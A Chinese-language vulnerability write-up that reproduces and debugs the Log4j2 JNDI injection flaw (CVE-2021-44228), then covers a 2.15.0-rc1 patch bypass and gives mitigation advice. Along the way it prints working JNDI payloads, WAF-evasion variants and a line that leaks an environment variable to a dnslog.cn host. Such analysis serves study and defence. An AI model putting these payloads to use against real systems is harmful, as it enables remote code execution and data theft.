前言

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。
2021年12月9日晚,各大公众号突然发布漏洞预警
2021年12月10日晚,各大公众号开始蹭热度


Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。
由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
此次漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行。(CNVD-2021-95914、CVE-2021-44228)
影响版本:Apache Log4j 2.x <= 2.15.0-rc1

2.15.0-rc1 存在补丁绕过,但是很鸡肋

复现

老规矩,先复现,再分析

pom.xml

  • Jdk8u111
  • log4j-api不是必须 ```
    1. <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
    2. <dependency>
    3. <groupId>org.apache.logging.log4j</groupId>
    4. <artifactId>log4j-core</artifactId>
    5. <version>2.14.1</version>
    6. </dependency>
    7. <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
    8. <dependency>
    9. <groupId>org.apache.logging.log4j</groupId>
    10. <artifactId>log4j-api</artifactId>
    11. <version>2.14.1</version>
    12. </dependency>
  1. ### 启动JNDI注入Server

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1

  1. ### 漏洞代码

import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;

public class Test { private static final Logger logger = LogManager.getLogger(Test.class);

  1. public static void main(String[] args) {
  2. logger.error("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}");
  3. }

}

  1. ### 效果
  2. ![image-20211210091451769](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987281158-e7a728b2-266e-4c00-8f57-ba9d417f190c.png)<br />![image-20211210091345232](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987283224-2c961f06-4e68-4d22-ad7a-85d7dd81fb93.png)
  3. ## 分析
  4. ### 调用栈
  5. 在利用过程中,因为我们明确知道要执行系统命令调用`java.lang.Runtime#exec(java.lang.String[])`,所以在`exec`方法处下断点,分析一下调用栈<br />![image-20211210093916217](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987286270-2d6e049a-6ec9-4bbf-a664-08e16a7590da.png)<br />运行获取调用栈<br />![image-20211210093957700](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987288934-0013b90e-ce76-4ee7-bc21-a6339239e74c.png)

exec:485, Runtime (java.lang)

:-1, ExploitgJlWqLWBF3 newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) newInstance:62, NativeConstructorAccessorImpl (sun.reflect) newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect) newInstance:423, Constructor (java.lang.reflect) newInstance:442, Class (java.lang) getObjectFactoryFromReference:163, NamingManager (javax.naming.spi) getObjectInstance:189, DirectoryManager (javax.naming.spi) c_lookup:1085, LdapCtx (com.sun.jndi.ldap) p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx) lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx) lookup:205, GenericURLContext (com.sun.jndi.toolkit.url) lookup:94, ldapURLContext (com.sun.jndi.url.ldap) lookup:417, InitialContext (javax.naming) lookup:172, JndiManager (org.apache.logging.log4j.core.net) lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup) lookup:221, Interpolator (org.apache.logging.log4j.core.lookup) resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup) replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup) format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern) format:38, PatternFormatter (org.apache.logging.log4j.core.pattern) toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout) toText:244, PatternLayout (org.apache.logging.log4j.core.layout) encode:229, PatternLayout (org.apache.logging.log4j.core.layout) encode:59, PatternLayout (org.apache.logging.log4j.core.layout) directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config) callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config) callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config) callAppender:84, AppenderControl (org.apache.logging.log4j.core.config) callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config) processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config) log:481, LoggerConfig (org.apache.logging.log4j.core.config) log:456, LoggerConfig (org.apache.logging.log4j.core.config) log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config) log:161, Logger (org.apache.logging.log4j.core) tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi) logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi) logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi) logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi) logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi) error:740, AbstractLogger (org.apache.logging.log4j.spi) main:9, Test

  1. 最明显的漏洞触发点,就是在第16`lookup:172, JndiManager (org.apache.logging.log4j.core.net)`<br />跟过去看下,典型的JNDI注入<br />![image-20211210094235199](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987293655-c823d07b-a485-423b-8e2a-f6e4ee428988.png)
  2. ### Debug分析
  3. 既然已经知道调用栈了,那么就可以慢慢分析了<br />从`logger.error`为入口,跟进去后会前期有一系列的和我们分析无关的过程,主要就是各种常规包装和调用

toText:244, PatternLayout (org.apache.logging.log4j.core.layout) encode:229, PatternLayout (org.apache.logging.log4j.core.layout) encode:59, PatternLayout (org.apache.logging.log4j.core.layout) directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config) callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config) callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config) callAppender:84, AppenderControl (org.apache.logging.log4j.core.config) callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config) processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config) log:481, LoggerConfig (org.apache.logging.log4j.core.config) log:456, LoggerConfig (org.apache.logging.log4j.core.config) log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config) log:161, Logger (org.apache.logging.log4j.core) tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi) logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi) logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi) logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi) logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi) error:740, AbstractLogger (org.apache.logging.log4j.spi) main:9, Test

  1. 然后一直到了`org.apache.logging.log4j.core.layout.PatternLayout.PatternSerializer#toSerializable(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder)`,这个的主要功能就是通过遍历`formatters`一段一段的拼接输出的内容<br />![image-20211211122610115](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987296516-254bb4b2-1ea2-469b-95fa-21452984b9f7.png)<br />![image-20211211122639788](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987300296-81ef892d-4275-48b3-8ce1-3cf8219cc6cd.png)<br />当到了格式化我们传入的内容的时候,同样的会进行`format`处理,跟进发现会调用`converter.format()`,`converter`属于`MessagePatternConverter`类<br />![image-20211211121844651](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987304856-7cc38339-783c-4f9b-a2a1-fee6263fcd7e.png)<br />所以就到了`org.apache.logging.log4j.core.pattern.MessagePatternConverter#format`<br />分析代码,可以看到,如果写入的日志内容中包含`${`,就会将我们输入的内容从`workingBuilder`分割出来,赋值给`value`,然后调用`config.getStrSubstitutor().replace()`方法<br />![image-20211210104613387](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987308004-cab85d08-d2c2-43dd-b0ea-65c330644490.png)<br />跟进`replace()`,会调用`substitute()`方法<br />在`org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder, int, int, java.util.List<java.lang.String>)`方法中,会首先遍历字符,通过正则判断,获取`${`和`}`的位置,最后截取出`${`和`}`中间的内容,得到`jndi:xxxx`<br />![image-20211210110328994](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987311972-124dd2fe-1f23-4993-84e5-9a00d7b14456.png)<br />然后再次递归调用`substitute()`,继续截取`${}`中的内容,主要是为了判断是否还有`${}`,后续还有分隔符的判断,就先不管了<br />一直跟到解析变量这,跟进这个函数<br />![image-20211210111952428](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987316238-29541898-b2eb-48db-889d-66512d461eb9.png)<br />可以猜测`resolver`解析时支持的关键词有`[date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j]`,而我们这里利用的`jndi:xxx`后续就会用到`JndiLookup`这个解析器<br />![image-20211210112247264](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987319536-d29308bf-0091-480f-93b7-e03770b86a04.png)<br />跟进`lookup`,就是通过`:`分割前面的关键词`jndi`部分和后面的`payload`内容部分,再获取解析器,通过解析器去`lookup`<br />![image-20211210113045092](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987323088-c3b992c3-b72b-4672-8710-2b6a5bd6d4f9.png)<br />继续跟进`org.apache.logging.log4j.core.lookup.JndiLookup#lookup`,会初始化JNDI客户端,继续调用`lookup`<br />![image-20211210113423856](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987327177-77bb5205-0603-4e51-8fb8-80d825380030.png)<br />再跟进就是非常常规的JNDI注入点了,分析也到此结束<br />![image-20211210113508239](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987329994-fb425ee0-4832-4b3e-8fdd-e52c40141781.png)
  2. ### 总结
  3. 总结一下整个分析过程,也很简单
  4. 1. 先判断内容中是否有`${}`,然后截取`${}`中的内容,得到我们的恶意payload `jndi:xxx`
  5. 1. 后使用`:`分割payload,通过前缀来判断使用何种解析器去`lookup`
  6. 1. 支持的前缀包括`date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j`,可以研究下其他的,说不定有文章可做
  7. ## 一个小坑
  8. 网上有各种百度、icloud等大厂商被打的情况,但是最开始一直认为只有`logger.error()`才会触发,所以百思不得其解,难道用户搜索的所有内容都会被百度用`logger.error()`记录下来?很明显这是不可能的啊!!!<br />![image-20211210194148506](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987332417-b4bbc2e3-e9e7-4fff-8423-d15350ae069e.png)<br />后面研究了半天,忽略了第一句话
  9. > **_此次漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行。_**
  10. 只要输入会被**`记录`**,就存在这个问题;什么情况下会记录呢?主要代码还是在<br />![image-20211212185601615](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987334021-4bfb4bfa-2b7b-4f0d-8e9b-137be395a66b.png)<br />一直跟到最后,`intLevel >= level.intLevel()`为`false`,`intLevel`为我们使用的`INFO`等级的值200,`level.intLevel()`则为当前日志记录等级`ERROR`的值400<br />![image-20211212190556258](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987335921-37ff586c-4a56-4262-978d-2febbe718f7e.png)<br />这也是为什么`log4j`默认情况下只会记录`error`和`fatal`的日志,如下图,所以我们测试的时候只有`logger.error`和`fatal`的时候才会触发。<br />![image-20211210195141578](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987338048-631ed556-b2c0-4a7b-9680-9337c81e9720.png)<br />因此其他日志等级也不是不能触发,修改一下日志记录等级,让它能够记录下来我们输入的payload,就可以触发漏洞了

import org.apache.logging.log4j.Level; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.core.config.Configurator;

public class Test { private static Logger logger = LogManager.getLogger(Test.class);

  1. public static void main(String[] args) {
  2. // 第一个参数 "Test" 为类名
  3. Configurator.setLevel("Test", Level.INFO);
  4. logger.info("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}");
  5. }

}

  1. ![image-20211210195519984](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987341078-6313606e-f50e-48a4-b406-60f01529cff8.png)
  2. ## 常规绕过
  3. 现在很多WAF都是检测是否存在`jndi:`等关键词来判断,这个很明显拦得了一时,拦不了一世啊!!!<br />通过上面的分析,我们也看到了有很多其他的解析器可用,包括`date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j`,还有分隔符啥的,结合起来可以绕过大多数常见的WAF了。
  4. ### 多个${}执行流程
  5. 先来分析一下多个`${}`的执行流程,Payload举例如下:

${aaa:${bbb:ccc}dd}${ee:ff}

  1. 当识别到多个`${}`时,准备来说是识别到多个`${`时,主要分为两种情况:
  2. 1.
  3. 当属于嵌套类型时,比如`${${}}`,参数`nestedVarCount`会执行+1操作,表示存在嵌套,防止找错闭合时用的`}`,会先处理内部的`${}`,再将处理结果返回后继续处理`${}` ;具体的原因,就是因为会递归调用`substitute()`,所以会先把内部的处理完
  4. <br />![image-20211211142435846](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987343949-df69f19e-6cbb-475c-aa0d-85e9dc7d1a26.png)
  5. 1.
  6. 当属于并列类型时,比如`${}${}`,会依次处理`${}`;因为他一次只会提取一整个`${}`
  7. ### 分隔符
  8. `org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute()`里处理完`${}`后,就会有一部分的分隔符处理,一个是`valueEscapeDelimiterMatcher [:\-]`,另一个是`valueDelimiterMatcher [:-]`
  9. ---
  10. 先来看第一个`valueEscapeDelimiterMatcher`payload `${aa:\\-bb}`<br />从下图可以看出来,就是给 `:\-` 中的 `\` 去掉了变成了`:-`,好像是没啥用<br />![image-20211211160840663](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987347246-75b4c1e7-598e-4ca9-8b88-ce16bf99b74a.png)
  11. ---
  12. 再来看看`valueDelimiterMatcher`,payload `${aa:-bb}`<br />从下面可以看出来,被`:-`分割成了前后两部分,前面的部分赋值给`varName`,后面部分赋值给`varDefaultValue`;<br />![image-20211211162535118](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987350825-d4700471-3155-4f19-97f3-4741b35e83b3.png)
  13. -
  14. `varName`会被传入到`resolveVariable()`进行解析,如果没有协议什么的,就会返回`null`
  15. -
  16. 如果`resolveVariable()`返回值为`null`,`varDefaultValue`在后续的过程中也会递归调用`substitute`
  17. ![image-20211211170033001](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987353420-81baf68b-cfc1-40fc-8e5e-e5a9bb366e53.png)<br />最后会返回`varDefaultValue`的值<br />![image-20211211170508262](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987355235-f1c22814-d077-4fc6-9405-0bf27774fe73.png)
  18. ### 其他解析器功效
  19. 上面分析我们也注意到了,有多个解析协议可用,包括`date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j`,我们来分析一下作用
  20. > 可以下断点到`org.apache.logging.log4j.core.lookup.StrSubstitutor#resolveVariable`的`resolver.lookup(event, variableName)`这一行,然后动态执行看效果;比如
  21. > ![image-20211211145033551](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987356526-45b5ab1e-1346-4b6c-8a52-b567d8755e88.png)
  22. |
  23. 解析协议
  24. | 说明
  25. |
  26. | --- | --- |
  27. |
  28. `date:`
  29. | 日期时间(详情`org.apache.logging.log4j.core.lookup.DateLookup#lookup`
  30. |
  31. |
  32. `java:`
  33. | 一些JVM的信息(可用参数`version、runtime、vm、os、hw、locale`,详情`org.apache.logging.log4j.core.lookup.JavaLookup#lookup`
  34. |
  35. |
  36. `marker:`
  37. | 返回`event.getMarker()`,不知道具体干啥的
  38. |
  39. |
  40. `ctx:key`
  41. | 返回`event.getContextData().getValue(key)`,就是获取上下文的数据
  42. |
  43. |
  44. **`lower:KEY`**
  45. | 返回字符串小写值
  46. |
  47. |
  48. **`upper:key`**
  49. | 返回字符串大写值
  50. |
  51. |
  52. `jndi:`
  53. | JNDI注入利用点,不多说了
  54. |
  55. |
  56. `main:key`
  57. | 返回`((MapMessage) event.getMessage()).get(key)`,也是获取一些变量值
  58. |
  59. |
  60. `jvmrunargs:`
  61. | 没搞懂。。。
  62. |
  63. |
  64. `sys:key`
  65. | 返回一些系统属性:`System.getProperty(key)`
  66. |
  67. |
  68. `env:key`
  69. | 返回`System.getenv(key)`
  70. |
  71. |
  72. `log4j:key`
  73. | 返回一些`log4j`的配置信息,可用值`configLocation、configParentLocation`
  74. |
  75. ### 绕过思路
  76. 我们已经知道了`${}`的执行流程,也知道了分隔符怎么处理的,又知道了其他协议的解析返回值,那么就可以构造payload来绕过了,举一些例子
  77. - 原始payload

${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}

  1. - 一些绕过paylioad

${${a:-j}ndi:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=} ${${a:-j}n${::-d}i:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=} ${${lower:jn}di:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=} ${${lower:${upper:jn}}di:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=} ${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}

  1. ### 奇淫技巧
  2. 刚才分析了[其他解析器功效](#%E5%85%B6%E4%BB%96%E8%A7%A3%E6%9E%90%E5%99%A8%E5%8A%9F%E6%95%88),通过`sys``env`协议,结合`jndi`可以读取到一些环境变量和系统变量,特定情况下可能可以读取到系统密码<br />举个例子

${jndi:ldap://${env:LOGNAME}.eynz6t.dnslog.cn}

  1. ![image-20211211172428046](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987359105-98a930a9-574e-45f0-9f45-5ccaf96c2214.png)
  2. ## 2.15.0-rc1补丁绕过
  3. [LOG4J2-3201 Commit](https://github.com/apache/logging-log4j2/commit/d82b47c6fae9c15fcb183170394d5f1a01ac02d3)<br />和之前一样,直接来到`org.apache.logging.log4j.core.layout.PatternLayout.PatternFormatterPatternSerializer#toSerializable`;熟悉的遍历`formatter`拼接输出内容<br />![image-20211211202514773](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987360548-d54daab6-ddb5-49a2-8352-cb5c53ec5f86.png)<br />到了拼接我们自定义内容的部分的时候,跟进会调用`converter.format`,可以看到这里的`converter`类已经变成了`MessagePatternConverter.SimpleMessagePatternConverter`,`SimpleMessagePatternConverter`是`MessagePatternConverter`的一个内部类<br />![image-20211211203318239](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987363768-31cfa668-bb33-447c-b52c-098c2fc421e8.png)<br />跟进,发现会调用`((StringBuilderFormattable) msg).formatTo(toAppendTo)`<br />![image-20211212100007498](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987366900-7bb9fc46-e386-4ca1-b336-4892d52213d1.png)<br />再跟进`formatTo`,可以看出就是直接拼接字符串,并不会对包含有特殊内容`${}`的字符串进行处理<br />![image-20211212100040460](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987368059-5f55fc42-d6c9-40a6-906b-3a7b09ef782c.png)
  4. ---
  5. 看着是没问题了,但是发现在`MessagePatternConverter`中还有一个内部类`LookupMessagePatternConverter`,这个类会对`${`的内容进行特殊处理。<br />![image-20211212102131892](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987369373-dfe6d7cc-9086-4275-8468-133e1e3778e5.png)<br />但是怎么样才能让`converter`的类变成`LookupMessagePatternConverter`,而不是`SimpleMessagePatternConverter`呢?<br />在`newInstance`这个初始化配置函数的地方下个断点,发现必须要满足2个条件,才能使用`LookupMessagePatternConverter`这个`converter`类<br />![image-20211212102704541](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987371616-ede6297d-c1ff-4966-8370-629382acfddd.png)
  6. > 所以这也是补丁绕过比较鸡肋的地方,需要自己手动修改配置,正常人会故意这么写吗?
  7. > 为了分析绕过,我们只能手动配置了。。。
  8. 分析上面需要满足的2个条件:
  9. 1.
  10. `lookups``true``lookups`的值是通过`loadLookups(options)`这个函数来获得的,分析一下这个函数,只要`options`这个字符串数组包含`lookups`即可
  11. <br />![image-20211212103319652](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987374168-cb68d575-18df-4830-938e-be938c735a73.png)
  12. 1.
  13. 需要一个`config`的实例,属于`org.apache.logging.log4j.core.config.DefaultConfiguration`这个类,默认不为`null`
  14. 尝试了各种方法修改配置都不行

log4j2.formatMsgNoLookups=false log4j2.formatMsgLookups=true

  1. 所以采用了一个暴力的方法,就是在调试的时候动态修改`options`变量的值

options = new String[]{“lookups”}

  1. ![image-20211212113357847](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987375346-123d734d-86c8-462a-983a-ce7dc7375900.png)<br />可以看到,我们修改过后,再次来到`converter.format(event, buf)`,此时`converter`属于`MessagePatternConverter.LookupMessagePatternConverter`类了,目标达成<br />![image-20211212113740541](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987379261-5064a79b-8185-403a-ac46-5dc38fc02322.png)<br />跟进也是我们想要的结果,对`${`进行定位判断<br />![image-20211212114024942](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987383214-fc961eff-503e-4323-b705-a8b2df340279.png)<br />跟进`replaceIn`,就又到了常规的`substitute`了,接下来几步就不再次分析了<br />![image-20211212114240100](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987388453-89201634-0639-49d2-b5f4-4a9c16881a0d.png)<br />上面这么多都是解决配置问题,让它使用到我们想要的`converter`类
  2. ---
  3. 后面都是和之前类似差不多的,一直到了`org.apache.logging.log4j.core.net.JndiManager#lookup`,可以看出来加了很大一串`try...catch...`对我们的payload进行判断,一有不对劲的地方就`return null`<br />![image-20211212114948868](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987391573-aac03f12-dcb6-4dc3-bbf1-8f49a224e491.png)<br />还是分析一下各个限制
  4. |
  5. 变量
  6. |
  7. |
  8. | --- | --- |
  9. |
  10. allowedProtocols
  11. | [java, ldap, ldaps]
  12. |
  13. |
  14. allowedHosts
  15. | [localhost, 127.0.0.1, d4m1tsdeMacBook-Pro.local, fe80:0:0:0:511a:1574:bca8:fa1b%utun3, fe80:0:0:0:5f4b:9388:9617:a34f%utun2, fe80:0:0:0:da80:893a:2c2b:22c9%utun1, fe80:0:0:0:4936:2ec2:ac06:59d0%utun0, fe80:0:0:0:b853:76ff:fec8:ca3a%llw0, fe80:0:0:0:b853:76ff:fec8:ca3a%awdl0, fe80:0:0:0:aede:48ff:fe00:1122%en5, fe80:0:0:0:1421:ea1:4520:c8ab%en0, 192.168.0.106, fe80:0:0:0:0:0:0:1%lo0, 0:0:0:0:0:0:0:1]
  16. |
  17. |
  18. allowedClasses
  19. | [java.lang.Boolean, java.lang.Byte, java.lang.Character, java.lang.Double, java.lang.Float, java.lang.Integer, java.lang.Long, java.lang.Short, java.lang.String]
  20. |
  21. 看似无懈可击,但是却有一个很严重的问题<br />如果出现`URISyntaxException`异常,就会直接执行`catch`,然后就到了`this.context.lookup(name)`,还是存在`JNDI`注入<br />所以我们现在的绕过想法,就是想办法让211行的`URI uri = new URI(name);`抛出`URISyntaxException`<br />分析一下这个报错,就可以发现触发的方式还是挺多的<br />![image-20211212135244824](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987396582-94871cb6-e7d0-47f1-b97e-4409d740dd05.png)<br />也可以网上找找,比如:<br />![image-20211212134432226](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987399205-65480217-c618-4584-91ea-40b3d6cdc1e2.png)<br />试一下<br />![image-20211212135845454](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987400244-aa4374c3-5793-4e9c-a90f-7313ffa80db5.png)<br />所以绕过方法:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://127.0.0.1:8000/ #Exploit” 8088

python3 -m http.server 8000

127.0.0.1 - - [12/Dec/2021 14:04:04] “GET /Exploit.class HTTP/1.1” 200 -

${jndi:ldap://127.0.0.1:8088/ Exploit}

  1. ![image-20211212140354955](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987403962-da6c36fa-a3f6-47cc-88e7-7f6a9b3ff819.png)<br />结果,绕过成功<br />![image-20211212140434079](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987406168-9002685e-8805-4aca-a65f-1b32cc19adbd.png)
  2. ## 2.15.0-rc2修复
  3. [`Handle URI exception Commit`](https://github.com/apache/logging-log4j2/commit/bac0d8a35c7e354a0d3f706569116dff6c6bd658)<br />从github上提交的代码,可以看出给`catch`没有`return null`的问题修复了<br />![image-20211212175014608](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987408076-74dba66a-a89d-4add-a42d-dc80e22807a3.png)<br />暂时还没有好的绕过思路,所以先这样吧
  4. ## 影响范围

srping-boot-strater-log4j2 Apache Solr Apache Flink Apache Druid Apache Struts2 ElasticSearch Flume Dubbo JedisLogstash Kafka …

```

修复建议

  1. 升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本
  2. 升级JDK版本,建议JDK使用11.0.1、8u191、7u201、6u211及以上的高版本,从根源上杜绝大部分常规的JNDI注入

临时措施

  1. 在jvm参数中添加 -Dlog4j2.formatMsgNoLookups=true 【针对 2.10.0 及以上的版本】
  2. 系统环境变量中将FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true 【针对 2.10.0 及以上的版本】
  3. 创建“log4j2.component.properties”文件,文件中增加配置“log4j2.formatMsgNoLookups=true” 【针对 2.10.0 及以上的版本】
  4. 限制受影响应用对外访问互联网